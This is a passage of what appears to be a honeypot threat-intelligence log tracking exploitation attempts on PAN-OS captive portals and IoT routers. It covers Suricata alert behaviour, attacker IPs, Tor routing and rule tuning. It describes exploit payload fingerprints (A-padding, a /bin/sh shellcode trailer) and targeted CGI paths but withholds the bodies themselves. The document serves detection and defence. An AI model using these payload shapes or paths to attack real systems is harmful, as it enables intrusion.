target endpoint POST /php/login.php. Behaviour is
also identical: 4-5 packets to server, ~4 back, total flow time
sub-second, no follow-up activity for the rest of the day.
Single-shot kit-runner pattern, twice.
SID 9026421 (CVE-2026-42945 NGINX Rift) fired ×2 here too
— but this is a structural cross-hit, not a real NGINX Rift
exploit. The rule fires on payloads with 32×0x41
and a NUL byte; the rondo PAN-OS body has both
(A-padding + the /bin/sh\x00 shellcode trailer).
Same bytes, different vulnerability target. The CVE-2026-42945
rule has been queued for tightening — an additional
http.uri requirement on /api/ or a
!/php/ disqualifier will eliminate this cross-hit
class.
The captured alerts (eve.json, sensor-IP redacted)
We don’t publish raw exploit bodies here — the shellcode
bytes from each operator differ in LHOST/LPORT
and republishing them is gratuitous. What we can show is the
Suricata alert metadata, which carries the deterministic shape
signal: hash, size, rules matched, flow telemetry. Sensor IP
replaced with <sensor3>.
Reconstructed body shape
Five HoneyLens rules matched different byte signatures inside the same 2 271-byte body. Combining them produces a structural picture of what the body looked like (the actual bytes between the matched regions aren’t shown — we don’t have them, and republishing wouldn’t add to the public threat intel anyway):
Same shape as the rondo 2026-05-16 body. The shellcode-trailer
position varies per operator (different LHOST/LPORT
produces different sha256s), but the structural pattern —
long-A padding, /bin/sh\x00 trailer, CL=2271 —
is the kit’s deterministic fingerprint.
Timing context: vendor patch ETA for the remaining PAN-OS branches is today, 2026-05-28. A kit-runner operator's last-day window of unpatched targets closes tonight. The 2026-05-27 03:00 incident looks like exactly that — burn through the kit before the patch rolls out. Expect more rondo-class firings in the next 24-48 hours as other operators try the same.
Both attacker IPs added to the hunting list at HIGH/EXPLOITATION/95. The silence-streak clock resets to day 0 on 2026-05-27. Daily cadence continues; next milestone is 14 consecutive zero-firing days from the latest incident (target 2026-06-10).
IOC Summary
§ T+16 (2026-05-29) · rondo actor returns from 124.198.131.22 — same UA, same /24, but a different attack surface
Overnight 2026-05-28→29, the rondo actor came back. New source IP
124.198.131.22 (previously 124.198.131.185 on the
2026-05-16 PAN-OS BoF and the 2026-05-17 vpnupload.cgi probe). Same
/24, almost certainly the same operator — same self-doxxing
Mozilla/5.0 ([email protected]) User-Agent string. SIDs that fired
across sensor1 and sensor2:
Key shift: rondo isn't hitting PAN-OS this time. The paths are IoT
router exploit kits —
/tmUnblock.cgi is the 2014 Linksys backdoor (CVE-2014-3692),
/goform/set_LimitClient_cfg is a router admin-CGI exploit. Both target port
8080 (where we run the K8s honeypot, which also serves a generic HTTP responder).
Three Emerging-Threats SIDs fire (2018132, 2026102, 2068292, 2048548 — all
IoT-router-CGI patterns) alongside our own 9026311/9026312 (which key on the UA).
Interpretation: the rondo operator has graduated their kit from "one CVE per campaign" to "polyglot vulnerability sweep." They're not retired and they haven't moved off the atomicmail UA tag — the calling card is still loud and proud. We're keeping the actor profile open across the whole captive-portal+IoT-router surface; if they come back to PAN-OS we'll see them on 4443 again.
Net for the captive-portal hunt: still no real CVE-2026-0300 exploit firings since the T+15 dual-actor incident. The SID stack 9026300–9026314 stayed silent on the PAN-OS ports. The rondo actor's return doesn't reopen the captive-portal hunt — it widens the actor profile.
Hunting-list addition: 124.198.131.22 tagged
actor:rondo, kit:iot-router-cgi, scope:port-8080.
§ parallel thread, CVE-2026-42945 NGINX Rift · day 5 of coverage, zero true-positive firings — see the NGINX Rift hunt writeup for detail. The 9026421 cross-hit framing from T+15 still stands.
§ T+17 (2026-05-30) · rondo stayed busy through 2026-05-29 daytime, went quiet again overnight; PAN-OS still untouched
24-hour follow-up on the T+16 rondo return. The actor kept hitting
port 8080 on sensor2 through 2026-05-29 daytime — new passes at
10:20 and 10:32 CEST on top of the overnight 01:20 /
01:39 / 02:48 / 06:03 / 13:58 / 03:49 set. Same source
124.198.131.22, same self-doxxing UA, same
/tmUnblock.cgi + /goform/set_LimitClient_cfg
IoT-router CGI paths. Total: ~20 SID hits across sensor1 +
sensor2 in the T+16 window.
Then they stopped. Zero rondo activity overnight 2026-05-29→30, zero so far today on either sensor. Same campaign-burst shape we’ve seen from this operator before: focused window of activity, then off-net.
PAN-OS captive-portal SID stack stayed silent — zero 9026300–9026314 firings since the T+15 dual-actor incident. No second PoC-kit operator returned to port 4443/6080-6082. The T+15 burst really was a two-day window of the rondo-class kit rotating through public IPv4 lists; 48 hours later the captive-portal surface is back to baseline scanner noise.
Parallel-thread quick notes:
- CVE-2026-42945 NGINX Rift — day 6 of coverage, silence holds. See that page.
- CVE-2026-23918 Apache mod_http2 — day 2 of coverage, rev:2 rule fix vindicated (zero firings post-tightening). See the Apache mod_http2 hunt writeup.
Net for the captive-portal hunt at T+17: rondo is openly active on the IoT-router surface but ignoring PAN-OS for now; original CVE-2026-0300 surface is back to silence-baseline; T+18 review will confirm whether the rondo window stays closed or reopens.
§ T+18 (2026-05-30 morning) · silence streak broken again — CL=2271 rondo-class kit returns through Tor exits, 4 distinct exit IPs, 3 unique body sha256s, one operator confirmed routing the same body bytes through two different Tor circuits
Three days after the T+15 dual-actor incident, the CL=2271
rondo-class kit reappeared with an OPSEC upgrade. Between
10:50:27 and 11:05:56 CEST on 2026-05-30, both
sensor2 and sensor3 took a coordinated wave of POSTs to
/php/login.php on TCP/4443 from four
distinct Tor exit IPs. Every body was exactly 2 271
bytes — same length as the T+15 rondo-class bodies. Three
unique sha256s across the four exits, with two of those
sha256s appearing from more than one source — clear
evidence that one backend operator is multiplexing the same
forged payloads through multiple Tor circuits.
Event-by-event timeline (sensor2 = PROD, sensor3 = slim):
Three observations that matter:
- Operator multiplexing across Tor circuits is now
visible. sha256
12aefe85arrived from192.42.116.51AND192.42.116.117on PROD within 13 minutes — same backend operator, two different Tor exits. sha256378180a6arrived from192.42.116.51(hit PROD) AND185.220.101.148(hit slim) within 5 seconds — same body bytes, two Tor exits, two different target sensors. This is the OPSEC-aware operator class the T+15 review predicted. - One source IP hit both honeypots in three minutes.
45.84.107.97fired the full SID stack on slim at 11:01:54.187 with sha2560704fa36, then fired the same stack on PROD at 11:04:53.191 with the same sha256. Two different sensors, two different geographic regions (OVH Quebec vs Infolab Poznan), three minutes apart, same Tor exit, same body. That’s a target-list sweep, not opportunistic scanning. - The filestore prune fix is holding. All four
bodies on PROD plus both bodies on slim were preserved to
/var/log/suricata/filestore/<sha-prefix>/<sha256>withstored:true. The 2026-05-28ExecStartPostremoval that fixed the four preceding bodies (2026-05-08 / 16 / 21 / 27) is doing exactly what it was supposed to: bodies on disk every time now.
Compared with T+15: on 2026-05-27 we observed
two operators on residential / commercial IPs
(165.1.76.102 from KR, 45.117.102.130
from IN). On 2026-05-30 we observed at least three distinct
operators (judging by unique sha256s) but the source IPs are
all Tor exits. The kit is the same, the operators
are similar to or the same as before, the routing has changed.
Captive-portal SID stack 9026301–9026314 fired six full times on PROD and twice on slim. NGINX-Rift 9026421 fired six times via the known structural collision (32×A + NUL in the rondo body). No new SIDs needed; the existing detection pack covered the wave cleanly.
Hunting-list adds:
Parallel-thread: NGINX Rift day 7 silence holds (only the 9026421 cross-hits we expect); Apache mod_http2 day 3 silence holds (rev:2 quietly correct); CVE-2026-0257 GP forged-cookie hunt day 1 silence (zero firings on 9026330-9026332, zero Rapid7-IOC traffic). The PAN-OS captive-portal surface remains the loudest of the four active hunts — by a wide margin today.
§ T+21 (2026-06-03) · Three-day silence streak resumed since the T+18 Tor wave — captive-portal surface back to baseline, no follow-up activity from any of the four Tor exits
Three days after the T+18 wave (2026-05-30 morning), the
captive-portal surface is back to silence. Zero firings on
SIDs 9026301–9026314 across all three sensors for
2026-05-31, 2026-06-01, and 2026-06-02. None of the
four T+18 Tor exit IPs returned.
192.42.116.51, 192.42.116.117,
185.220.101.148, and 45.84.107.97
all stayed off the captive-portal surface for 72 hours.
Same campaign-burst shape we’ve seen repeatedly from this operator class: a focused window of activity, then radio silence. T+15 (2026-05-27) was a two-hit incident, then nothing for ~70 hours, then T+18 was an eight-hit incident, and now another silence streak. The kit operators don’t sit on a fresh wave; they spend their PoC against a target list, then move off.
45.84.107.97 (the Tor exit that hit both slim and PROD cross-target during T+18) did reappear in our general traffic log on 2026-06-01 21:00 hitting a wide port sweep on slim — but the wave was generic enumeration (Cassandra 9042, MQTT 8883, Memcached 11211, K8s 6443) not captive-portal focused, and it didn’t deliver any rondo-class bodies. Watching to see whether it returns to PAN-OS in the next 24-48 hours.
Parallel-thread quick notes: NGINX Rift day 10 silence holds (one new 9026424 cross-hit, see below); Apache mod_http2 day 6 silence holds (three 9026502 cross-hits documented honestly); CVE-2026-0257 GP day 4 silence holds (zero firings, zero Rapid7-IOC traffic).